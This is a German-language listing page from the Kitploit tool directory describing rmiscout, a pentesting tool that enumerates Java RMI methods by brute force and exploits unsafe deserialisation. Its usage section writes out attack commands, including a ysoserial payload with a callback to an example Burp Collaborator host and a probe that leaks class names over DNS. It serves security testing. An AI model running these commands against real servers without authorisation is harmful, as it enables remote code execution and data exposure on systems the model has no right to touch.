Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
rmiscout — RMIScout verwendet Wortlisten- und Brute-Force-Strategien, um Java-RMI-Funktionen aufzulisten und Schwachstellen im RMI-Parameter-Unmarshalling auszunutzen | Kitploit
Tools/GitHubGitHub/bishopfox/rmiscout
SchwachstellenscannerExploitationInformationsbeschaffungFuzzingPenetrationstests
GitHubbishopfox/rmiscout

rmiscout

RMIScout verwendet Wortlisten- und Brute-Force-Strategien, um Java-RMI-Funktionen aufzulisten und Schwachstellen im RMI-Parameter-Unmarshalling auszunutzen

Repository anzeigen
44862vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

License Python version

Beschreibung

RMIScout ermöglicht Wortlisten- und Brute-Force-Angriffe auf exponierte Java-RMI-Schnittstellen, um Methodensignaturen sicher zu erraten, ohne sie aufzurufen. Es unterstützt mehrere Java-RMI-Protokolle, Methodenaufrufe und Exploitation.

Funktionsübersicht

  • Unterstützt mehrere Arten von Java-RMI-Servern:
    • RMI-JRMP (auch einfaches RMI; normalerweise Port 1099): Remote-Objektregistrierungsdienst (rmiregistry)
    • RMI Activation Stubs per rmid
    • RMI-IIOP: Java CORBA-Programmiermodell (orbd; normalerweise Port 1050)
      • IIOP erfordert JRE 1.8 zur Nutzung. Aufgrund der Einstellung in späteren Laufzeitumgebungen.
    • RMI-SSL
  • Mehrere Betriebsmodi
    • Wortlisten-Modus: Testen auf entfernte Methoden mit einer Wortliste von Signaturen (siehe enthaltene lists/prototypes.txt)
    • Brute-Force-Modus: Erzeugt aus einer Wortliste von Methodennamen Signaturen mit verschiedenen Parametertypen, Anzahl der Parameter und Rückgabetypen.
    • Exploit-Modus: Verwendet ysoserial, um entfernte Methoden mit nicht-primitiven Parametern auszunutzen.
      • Erfordert, dass rmiscout mit JRE 1.8 ausgeführt wird, damit ysoserial ordnungsgemäß funktioniert.
    • Probe-Modus: Verwendet GadgetProbe zur Identifizierung von Klassen im entfernten Klassenpfad
    • Aufruf-Modus: Direktes Aufrufen entfernter Methoden durch Angabe einer Methodensignatur und Parameterwerte von der Befehlszeile (nur primitive Typen, Arrays und Zeichenketten).
    • Listen-Modus: Verfügbare Registries auf dem entfernten Server auflisten.
  • Wechselt automatisch zwischen RMI, RMI-SSL und Activation-Stubs.
  • Führt automatisch Localhost-Bypass-Techniken durch (z. B. Registries, die an @127.0.0.1:XXXX gebunden sind, aber dennoch extern über XXXX verfügbar sind)

Wie es funktioniert

Um RMI-Funktionen zu identifizieren, aber nicht auszuführen, verwendet RMIScout Low-Level-RMI-Netzwerkfunktionen und dynamische Klassengenerierung, um RMI-Aufrufe mit absichtlich nicht übereinstimmenden Typen zu senden und entfernte Ausnahmen auszulösen. Alle Parameter werden durch eine dynamisch generierte serialisierbare Klasse mit einem 255 Zeichen langen Namen ersetzt, von der angenommen wird, dass sie im entfernten Klassenpfad nicht existiert. Zum Beispiel:

Entfernte Schnittstelle:

root@kitploit:~
void login(String user, String password)

RMIScout wird aufrufen:

root@kitploit:~
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())

Wenn die Klasse vorhanden ist, führt dies zu einer entfernten java.rmi.UnmarshalException, verursacht durch die ClassNotFoundException oder einen Argument-Entmarshalling-Fehler, ohne die zugrundeliegende Methode aufzurufen.

Für detailliertere technische Ausführungen:

  • (Original-Bericht) RMIScout: Sicher und schnell Java RMI-Schnittstellen für Codeausführung per Brute-Force angreifen.
  • (RMIScout-Update) Erfahrungen beim Brute-Forcing von RMI-IIOP mit RMIScout

Betriebsmodi

Wortlisten-Modus

root@kitploit:~
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Geben Sie eine Wortliste mit Methodenprototypen an, die auf dem entfernten Server überprüft werden sollen. RMIScout gibt alle gefundenen Übereinstimmungen aus.

Für RMI-IIOP/CORBA: Sofern Methoden nicht überladen sind, erfordern Brute-Forcing und Aufruf nur übereinstimmende Namen (alle anderen Informationen werden ignoriert).

Brute-Force-Modus

root@kitploit:~
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

Geben Sie eine Wortliste mit Kandidaten-Methodennamen an, gefolgt von einer kommagetrennten Liste möglicher Rückgabetypen, eines Zahlenbereichs für die Parameteranzahl und möglicher Parametertypen. Der Brute-Force-Modus erzeugt die Permutationen und sucht nach übereinstimmenden Signaturen.

Exploit-Modus

root@kitploit:~
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

Bei falsch konfigurierten Servern kann jede bekannte RMI-Signatur, die nicht-primitive Typen verwendet (z. B. java.util.List), ausgenutzt werden, indem das Objekt durch eine serialisierte Nutzlast ersetzt wird. Dies ist eine ziemlich häufige Fehlkonfiguration (z. B. VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server und Gemfire, Apache Karaf + Cassandra), wie in An Trinhs 2019 Blackhat EU Vortrag hervorgehoben.

RMIScout integriert ysoserial, um Deserialisierungsangriffe gegen Dienste durchzuführen, die prozessweite Serialisierungsfilter falsch konfigurieren (JEP 290).

Beispiele für ausnutzbare Signaturen:

root@kitploit:~
void exampleMethod(java.util.Map a) // Any non-primitive types
void exampleMethod(float[] a) // Any type of array, even primitives
void exampleMethod(String a) // Works on older JDKs, see below...

Hinweis: Signaturen, die java.lang.String-Typen enthalten, sind in RMI-JRMP nur in JRE 8/11/13/14 Versionen vor Anfang 2020 ausnutzbar, in RMI-IIOP jedoch weiterhin ausnutzbar.

Aufruf-Modus

root@kitploit:~
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>

RMIScout ermöglicht es Ihnen, beliebige Signaturen mit primitiven Typen, primitiven Arrays oder Zeichenketten aufzurufen. Komplexere Typen erfordern das Schreiben eines benutzerdefinierten Clients.

Probe-Modus

root@kitploit:~
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

RMIScout integriert GadgetProbe zur Identifizierung von Klassen im entfernten Klassenpfad. Klassennamen werden über DNS exfiltriert.

Bauen und Ausführen

Verwenden Sie das enthaltene Skript rmiscout.sh, um das Projekt automatisch zu bauen und als praktischen Wrapper um die java -jar-Syntax:

root@kitploit:~
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Alternativ kann das Projekt manuell gebaut und die traditionelle java -jar-Syntax verwendet werden:

root@kitploit:~
# Manuell JAR bauen
./gradlew shadowJar

java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>

Hinweis: RMI-IIOP (Kompilierung/Laufzeit) und ysoserial (Laufzeit) sind von JDK8 abhängig.

Ausprobieren

Führen Sie den Dockerisierten Demo-RMI-Server aus. Testen Sie die enthaltene demo/wordlist.txt.

root@kitploit:~
cd demo
./start_demo.sh

Fehlerbehebung

F: Wie kann ich feststellen, ob <host>:<port> eine RMI-Registry ist?

Verwenden Sie ./rmiscout list <host> <port>, um Informationen über Registries auf einem entfernten Server zu erhalten.

root@kitploit:~
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]

Oder verwenden Sie nmaps rmi-dumpregistry-Skript:

root@kitploit:~
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-dumpregistry:
|   ActivationServer
|     com.bishopfox.example.ActivationImpl_Stub
|     \x00\x0EActivatableRef
|     extends
|       java.rmi.server.RemoteStub
|       extends
|         java.rmi.server.RemoteObject
|   plaintest
|      implements com.bishopfox.example.HelloInterface,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:1111
|             extends
|_              java.rmi.server.RemoteObject

F: Ich habe eine Registry auf Port 1098 mit dem Namen java.rmi.activation.ActivationSystem gefunden. Was kann ich damit tun?

A: Dies ist ein rmid Activation System Daemon. Alle seine Methoden sind durch den SecurityManager eingeschränkt. Neuere JREs prüfen, ob der entfernte Peer von localhost stammt, bevor sie entfernte Daten deserialisieren. Ältere Versionen (vor 2011) hatten diese Prüfung nicht und könnten anfällig sein. Siehe https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb

F: Kann ich RMIScout mit einer neueren Laufzeitumgebung als JRE 8 ausführen?

A: Technisch gesehen ja, aber verschiedene Funktionen werden nicht mehr funktionieren. CORBA-Unterstützung, Probe-Unterstützung und ysoserial (Exploit-Modus) erfordern zwingend JRE 8.

F: Warum erhalte ich eine CannotCompileException?

A: Eine CannotCompileException tritt auf, wenn ein ungültiger Methodenname oder Prototyp direkt oder über eine Wortliste angegeben wird. RMIScout erzeugt zur Laufzeit Bytecode für benutzerdefinierte Kandidatensignaturen. Obwohl RMIScout grundlegende Regeln zur Korrektur häufiger Syntaxfehler in benutzerdefinierten Prototypen hat, kann es manchmal fehlschlagen.

Autor

Twitter: @BumbleSec

GitHub: the-bumble

Tool herunterladen